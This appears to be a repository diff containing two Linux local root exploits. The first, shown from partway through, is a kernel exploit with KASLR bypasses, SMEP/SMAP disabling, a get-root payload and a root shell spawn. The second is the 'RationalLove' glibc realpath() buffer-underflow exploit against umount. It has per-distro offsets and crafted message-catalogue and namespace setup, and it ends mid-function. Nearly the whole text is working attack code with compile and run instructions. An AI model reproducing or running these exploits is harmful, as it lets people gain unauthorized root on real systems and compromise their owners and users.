||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
size = (size / getpagesize() + 1) * getpagesize();
|
||||
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
|
||||
if (size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
const char *needle1 = "Freeing SMP";
|
||||
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
dprintf("[-] substring '%s' not found in dmesg\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
for (size = 0; substr[size] != '\n'; size++);
|
||||
|
||||
const char *needle2 = "ffff";
|
||||
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
dprintf("[-] substring '%s' not found in dmesg\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
get_kernel_version(&version[0], 32);
|
||||
strcat(path, &version[0]);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
nprocs = get_nprocs_conf();
|
||||
|
||||
if (nprocs < min_procs) {
|
||||
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processors\n", nprocs);
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
int fd;
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
dprintf("error opening /proc/1/ns/net\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) == -1) {
|
||||
dprintf("error calling setns\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
system(SHELL);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
dprintf("[-] fork()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0) {
|
||||
exec_shell();
|
||||
}
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
dprintf("[.] checking if we got root\n");
|
||||
|
||||
if (!is_root()) {
|
||||
dprintf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[+] got r00t ^_^\n");
|
||||
|
||||
// Fork and exec instead of just doing the exec to avoid potential
|
||||
// memory corruptions when closing packet sockets.
|
||||
fork_shell();
|
||||
}
|
||||
|
||||
bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
|
||||
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
dprintf("[-] sched_setaffinity()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
check_procs();
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
dprintf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
dprintf("[~] done, looks good\n");
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid == -1) {
|
||||
dprintf("[-] fork()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (pid != 0) {
|
||||
dprintf("[.] performing exploit...\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
dprintf("[.] native_write_cr4: %lx\n", NATIVE_WRITE_CR4);
|
||||
#endif
|
||||
|
||||
dprintf("[.] padding heap\n");
|
||||
kmalloc_pad(KMALLOC_PAD);
|
||||
pagealloc_pad(PAGEALLOC_PAD);
|
||||
dprintf("[.] done, heap is padded\n");
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n");
|
||||
oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
|
||||
dprintf("[.] done, SMEP & SMAP should be off now\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] executing get root payload %p\n", &get_root_payload);
|
||||
oob_id_match_execute((void *)&get_root_payload);
|
||||
dprintf("[.] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
while (1) sleep(1000);
|
||||
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,977 @@
|
|||
/** This software is provided by the copyright owner "as is" and any
|
||||
* expressed or implied warranties, including, but not limited to,
|
||||
* the implied warranties of merchantability and fitness for a particular
|
||||
* purpose are disclaimed. In no event shall the copyright owner be
|
||||
* liable for any direct, indirect, incidential, special, exemplary or
|
||||
* consequential damages, including, but not limited to, procurement
|
||||
* of substitute goods or services, loss of use, data or profits or
|
||||
* business interruption, however caused and on any theory of liability,
|
||||
* whether in contract, strict liability, or tort, including negligence
|
||||
* or otherwise, arising in any way out of the use of this software,
|
||||
* even if advised of the possibility of such damage.
|
||||
*
|
||||
* Copyright (c) 2018 halfdog <me (%) halfdog.net>
|
||||
* See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information.
|
||||
*
|
||||
* This tool exploits a buffer underflow in glibc realpath()
|
||||
* and was tested against latest release from Debian, Ubuntu
|
||||
* Mint. It is intended as demonstration of ASLR-aware exploitation
|
||||
* techniques. It uses relative binary offsets, that may be different
|
||||
* for various Linux distributions and builds. Please send me
|
||||
* a patch when you developed a new set of parameters to add
|
||||
* to the osSpecificExploitDataList structure and want to contribute
|
||||
* them.
|
||||
*
|
||||
* Compile: gcc -o RationalLove RationalLove.c
|
||||
* Run: ./RationalLove
|
||||
*
|
||||
* You may also use "--Pid" parameter, if you want to test the
|
||||
* program on already existing namespaced or chrooted mounts.
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <poll.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
|
||||
#define UMOUNT_ENV_VAR_COUNT 256
|
||||
|
||||
/** Dump that number of bytes from stack to perform anti-ASLR.
|
||||
* This number should be high enough to reproducible reach the
|
||||
* stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of
|
||||
* environment variable references but low enough to avoid hitting
|
||||
* upper stack limit, which would cause a crash.
|
||||
*/
|
||||
#define STACK_LONG_DUMP_BYTES 4096
|
||||
|
||||
char *messageCataloguePreamble="Language: en\n"
|
||||
"MIME-Version: 1.0\n"
|
||||
"Content-Type: text/plain; charset=UTF-8\n"
|
||||
"Content-Transfer-Encoding: 8bit\n";
|
||||
|
||||
/** The pid of a namespace process with the working directory
|
||||
* at a writable /tmp only visible by the process. */
|
||||
pid_t namespacedProcessPid=-1;
|
||||
|
||||
int killNamespacedProcessFlag=1;
|
||||
|
||||
/** The pathname to the umount binary to execute. */
|
||||
char *umountPathname;
|
||||
|
||||
/** The pathname to the named pipe, that will synchronize umount
|
||||
* binary with supervisory process before triggering the second
|
||||
* and last exploitation phase.
|
||||
*/
|
||||
char *secondPhaseTriggerPipePathname;
|
||||
|
||||
/** The pathname to the second phase exploitation catalogue file.
|
||||
* This is needed as the catalogue cannot be sent via the trigger
|
||||
* pipe from above.
|
||||
*/
|
||||
char *secondPhaseCataloguePathname;
|
||||
|
||||
/** The OS-release detected via /etc/os-release. */
|
||||
char *osRelease=NULL;
|
||||
|
||||
/** This table contains all relevant information to adapt the
|
||||
* attack to supported Linux distros (fully updated) to support
|
||||
* also older versions, hash of umount/libc/libmount should be
|
||||
* used also for lookups.
|
||||
* The 4th string is an array of 4-byte integers with the offset
|
||||
* values for format string generation. Values specify:
|
||||
* * Stack position (in 8 byte words) for **argv
|
||||
* * Stack position of argv[0]
|
||||
* * Offset from __libc_start_main return position from main()
|
||||
* and system() function, first instruction after last sigprocmask()
|
||||
* before execve call.
|
||||
*/
|
||||
#define ED_STACK_OFFSET_CTX 0
|
||||
#define ED_STACK_OFFSET_ARGV 1
|
||||
#define ED_STACK_OFFSET_ARG0 2
|
||||
#define ED_LIBC_GETDATE_DELTA 3
|
||||
#define ED_LIBC_EXECL_DELTA 4
|
||||
static char* osSpecificExploitDataList[]={
|
||||
// Debian Stretch
|
||||
"\"9 (stretch)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"from_archive",
|
||||
// Delta for Debian Stretch "2.24-11+deb9u1"
|
||||
"\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
|
||||
// Ubuntu Xenial libc=2.23-0ubuntu9
|
||||
"\"16.04.3 LTS (Xenial Xerus)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"_nl_load_locale_from_archive",
|
||||
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
|
||||
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
|
||||
"\"18.3 (Sylvia)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"_nl_load_locale_from_archive",
|
||||
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
|
||||
NULL};
|
||||
|
||||
char **osReleaseExploitData=NULL;
|
||||
|
||||
/** Locate the umount binary within the given search path list,
|
||||
* elements separated by colons.
|
||||
* @return a pointer to a malloced memory region containing the
|
||||
* string or NULL if not found.
|
||||
*/
|
||||
char* findUmountBinaryPathname(char *searchPath) {
|
||||
char *testPathName=(char*)malloc(PATH_MAX);
|
||||
assert(testPathName);
|
||||
|
||||
while(*searchPath) {
|
||||
char *endPtr=strchr(searchPath, ':');
|
||||
int length=endPtr-searchPath;
|
||||
if(!endPtr) {
|
||||
length=strlen(searchPath);
|
||||
endPtr=searchPath+length-1;
|
||||
}
|
||||
int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length,
|
||||
searchPath, "umount");
|
||||
if(result>=PATH_MAX) {
|
||||
fprintf(stderr, "Binary search path element too long, ignoring it.\n");
|
||||
} else {
|
||||
struct stat statBuf;
|
||||
result=stat(testPathName, &statBuf);
|
||||
// Just assume, that umount is owner-executable. There might be
|
||||
// alternative ACLs, which grant umount execution only to selected
|
||||
// groups, but it would be unusual to have different variants
|
||||
// of umount located searchpath on the same host.
|
||||
if((!result)&&(S_ISREG(statBuf.st_mode))&&(statBuf.st_mode&S_IXUSR)) {
|
||||
return(testPathName);
|
||||
}
|
||||
}
|
||||
searchPath=endPtr+1;
|
||||
}
|
||||
|
||||
free(testPathName);
|
||||
return(NULL);
|
||||
}
|
||||
|
||||
|
||||
/** Get the value for a given field name.
|
||||
* @return NULL if not found, a malloced string otherwise.
|
||||
*/
|
||||
char* getReleaseFileField(char *releaseData, int dataLength, char *fieldName) {
|
||||
int nameLength=strlen(fieldName);
|
||||
while(dataLength>0) {
|
||||
char *nextPos=memchr(releaseData, '\n', dataLength);
|
||||
int lineLength=dataLength;
|
||||
if(nextPos) {
|
||||
lineLength=nextPos-releaseData;
|
||||
nextPos++;
|
||||
} else {
|
||||
nextPos=releaseData+dataLength;
|
||||
}
|
||||
if((!strncmp(releaseData, fieldName, nameLength))&&
|
||||
(releaseData[nameLength]=='=')) {
|
||||
return(strndup(releaseData+nameLength+1, lineLength-nameLength-1));
|
||||
}
|
||||
releaseData=nextPos;
|
||||
dataLength-=lineLength;
|
||||
}
|
||||
return(NULL);
|
||||
}
|
||||
|
||||
|
||||
/** Detect the release by reading the VERSION field from /etc/os-release.
|
||||
* @return 0 on success.
|
||||
*/
|
||||
int detectOsRelease() {
|
||||
int handle=open("/etc/os-release", O_RDONLY);
|
||||
if(handle<0)
|
||||
return(-1);
|
||||
|
||||
char *buffer=alloca(1024);
|
||||
int infoLength=read(handle, buffer, 1024);
|
||||
close(handle);
|
||||
if(infoLength<0)
|
||||
return(-1);
|
||||
osRelease=getReleaseFileField(buffer, infoLength, "VERSION");
|
||||
if(!osRelease)
|
||||
osRelease=getReleaseFileField(buffer, infoLength, "NAME");
|
||||
if(osRelease) {
|
||||
fprintf(stderr, "Detected OS version: %s\n", osRelease);
|
||||
return(0);
|
||||
}
|
||||
|
||||
return(-1);
|
||||
}
|
||||
|
||||
|
||||
/** Create the catalogue data in memory.
|
||||
* @return a pointer to newly allocated catalogue data memory
|
||||
*/
|
||||
char* createMessageCatalogueData(char **origStringList, char **transStringList,
|
||||
int stringCount, int *catalogueDataLength) {
|
||||
int contentLength=strlen(messageCataloguePreamble)+2;
|
||||
for(int stringPos=0; stringPos<stringCount; stringPos++) {
|
||||
contentLength+=strlen(origStringList[stringPos])+
|
||||
strlen(transStringList[stringPos])+2;
|
||||
}
|
||||
int preambleLength=(0x1c+0x14*(stringCount+1)+0xc)&-0xf;
|
||||
char *catalogueData=(char*)malloc(preambleLength+contentLength);
|
||||
memset(catalogueData, 0, preambleLength);
|
||||
int *preambleData=(int*)catalogueData;
|
||||
*preambleData++=0x950412de;
|
||||
preambleData++;
|
||||
*preambleData++=stringCount+1;
|
||||
*preambleData++=0x1c;
|
||||
*preambleData++=(*(preambleData-2))+(stringCount+1)*sizeof(int)*2;
|
||||
*preambleData++=0x5;
|
||||
*preambleData++=(*(preambleData-3))+(stringCount+1)*sizeof(int)*2;
|
||||
|
||||
char *nextCatalogueStringStart=catalogueData+preambleLength;
|
||||
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
|
||||
char *writeString=(stringPos<0)?"":origStringList[stringPos];
|
||||
int length=strlen(writeString);
|
||||
*preambleData++=length;
|
||||
*preambleData++=(nextCatalogueStringStart-catalogueData);
|
||||
memcpy(nextCatalogueStringStart, writeString, length+1);
|
||||
nextCatalogueStringStart+=length+1;
|
||||
}
|
||||
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
|
||||
char *writeString=(stringPos<0)?messageCataloguePreamble:transStringList[stringPos];
|
||||
int length=strlen(writeString);
|
||||
*preambleData++=length;
|
||||
*preambleData++=(nextCatalogueStringStart-catalogueData);
|
||||
memcpy(nextCatalogueStringStart, writeString, length+1);
|
||||
nextCatalogueStringStart+=length+1;
|
||||
}
|
||||
assert(nextCatalogueStringStart-catalogueData==preambleLength+contentLength);
|
||||
for(int stringPos=0; stringPos<=stringCount+1; stringPos++) {
|
||||
// *preambleData++=(stringPos+1);
|
||||
*preambleData++=(int[]){1, 3, 2, 0, 4}[stringPos];
|
||||
}
|
||||
*catalogueDataLength=preambleLength+contentLength;
|
||||
return(catalogueData);
|
||||
}
|
||||
|
||||
|
||||
/** Create the catalogue data from the string lists and write
|
||||
* it to the given file.
|
||||
* @return 0 on success.
|
||||
*/
|
||||
int writeMessageCatalogue(char *pathName, char **origStringList,
|
||||
char **transStringList, int stringCount) {
|
||||
int catalogueFd=open(pathName, O_WRONLY|O_CREAT|O_TRUNC|O_NOCTTY, 0644);
|
||||
if(catalogueFd<0) {
|
||||
fprintf(stderr, "Failed to open catalogue file %s for writing.\n",
|
||||
pathName);
|
||||
return(-1);
|
||||
}
|
||||
int catalogueDataLength;
|
||||
char *catalogueData=createMessageCatalogueData(
|
||||
origStringList, transStringList, stringCount, &catalogueDataLength);
|
||||
int result=write(catalogueFd, catalogueData, catalogueDataLength);
|
||||
assert(result==catalogueDataLength);
|
||||
close(catalogueFd);
|
||||
free(catalogueData);
|
||||
return(0);
|
||||
}
|
||||
|
||||
void createDirectoryRecursive(char *namespaceMountBaseDir, char *pathName) {
|
||||
char pathBuffer[PATH_MAX];
|
||||
int pathNameLength=0;
|
||||
while(1) {
|
||||
char *nextPathSep=strchr(pathName+pathNameLength, '/');
|
||||
if(nextPathSep) {
|
||||
pathNameLength=nextPathSep-pathName;
|
||||
} else {
|
||||
pathNameLength=strlen(pathName);
|
||||
}
|
||||
int result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/%.*s",
|
||||
namespaceMountBaseDir, pathNameLength, pathName);
|
||||
assert(result<PATH_MAX);
|
||||
result=mkdir(pathBuffer, 0755);
|
||||
assert((!result)||(errno==EEXIST));
|
||||
if(!pathName[pathNameLength])
|
||||
break;
|
||||
pathNameLength++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/** This child function prepares the namespaced mount point and
|
||||
* then waits to be killed later on.
|
||||
*/
|
||||
static int usernsChildFunction() {
|
||||
while(geteuid()!=0) {
|
||||
sched_yield();
|
||||
}
|
||||
int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL);
|
||||
assert(!result);
|
||||
assert(!chdir("/tmp"));
|
||||
int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644);
|
||||
assert(handle>=0);
|
||||
close(handle);
|
||||
sleep(100000);
|
||||
}
|
||||
|
||||
/** Prepare a process living in an own mount namespace and setup
|
||||
* the mount structure appropriately. The process is created
|
||||
* in a way allowing cleanup at program end by just killing it,
|
||||
* thus removing the namespace.
|
||||
* @return the pid of that process or -1 on error.
|
||||
*/
|
||||
pid_t prepareNamespacedProcess() {
|
||||
if(namespacedProcessPid==-1) {
|
||||
fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");
|
||||
|
||||
char *stackData=(char*)malloc(1<<20);
|
||||
assert(stackData);
|
||||
namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
|
||||
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);
|
||||
if(namespacedProcessPid==-1) {
|
||||
fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));
|
||||
return(-1);
|
||||
}
|
||||
|
||||
char idMapFileName[128];
|
||||
char idMapData[128];
|
||||
sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
|
||||
int setGroupsFd=open(idMapFileName, O_WRONLY);
|
||||
assert(setGroupsFd>=0);
|
||||
int result=write(setGroupsFd, "deny", 4);
|
||||
assert(result>0);
|
||||
close(setGroupsFd);
|
||||
|
||||
sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
|
||||
int uidMapFd=open(idMapFileName, O_WRONLY);
|
||||
assert(uidMapFd>=0);
|
||||
sprintf(idMapData, "0 %d 1\n", getuid());
|
||||
result=write(uidMapFd, idMapData, strlen(idMapData));
|
||||
assert(result>0);
|
||||
close(uidMapFd);
|
||||
|
||||
sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
|
||||
int gidMapFd=open(idMapFileName, O_WRONLY);
|
||||
assert(gidMapFd>=0);
|
||||
sprintf(idMapData, "0 %d 1\n", getgid());
|
||||
result=write(gidMapFd, idMapData, strlen(idMapData));
|
||||
assert(result>0);
|
||||
close(gidMapFd);
|
||||
|
||||
// After setting the maps for the child process, the child may
|
||||
// start setting up the mount point. Wait for that to complete.
|
||||
sleep(1);
|
||||
fprintf(stderr, "Namespaced filesystem created with pid %d\n",
|
||||
namespacedProcessPid);
|
||||
}
|
||||
|
||||
osReleaseExploitData=osSpecificExploitDataList;
|
||||
if(osRelease) {
|
||||
// If an OS was detected, try to find it in list. Otherwise use
|
||||
// default.
|
||||
for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
|
||||
if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
|
||||
osReleaseExploitData=osSpecificExploitDataList+tPos;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
char pathBuffer[PATH_MAX];
|
||||
int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
|
||||
namespacedProcessPid);
|
||||
assert(result<PATH_MAX);
|
||||
char *namespaceMountBaseDir=strdup(pathBuffer);
|
||||
assert(namespaceMountBaseDir);
|
||||
|
||||
// Create directories needed for umount to proceed to final state
|
||||
// "not mounted".
|
||||
createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
|
||||
// Create symlink to trigger underflows.
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
|
||||
namespaceMountBaseDir);
|
||||
assert(result<PATH_MAX);
|
||||
result=symlink(osReleaseExploitData[1], pathBuffer);
|
||||
assert(!result||(errno==EEXIST));
|
||||
|
||||
// getdate will leave that string in rdi to become the filename
|
||||
// to execute for the next round.
|
||||
char *selfPathName=realpath("/proc/self/exe", NULL);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
|
||||
namespaceMountBaseDir);
|
||||
assert(result<PATH_MAX);
|
||||
int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
|
||||
assert(handle>0);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
|
||||
selfPathName);
|
||||
assert(result<PATH_MAX);
|
||||
result=write(handle, pathBuffer, result);
|
||||
close(handle);
|
||||
free(selfPathName);
|
||||
|
||||
// Write the initial message catalogue to trigger stack dumping
|
||||
// and to make the "umount" call privileged by toggling the "restricted"
|
||||
// flag in the context.
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
|
||||
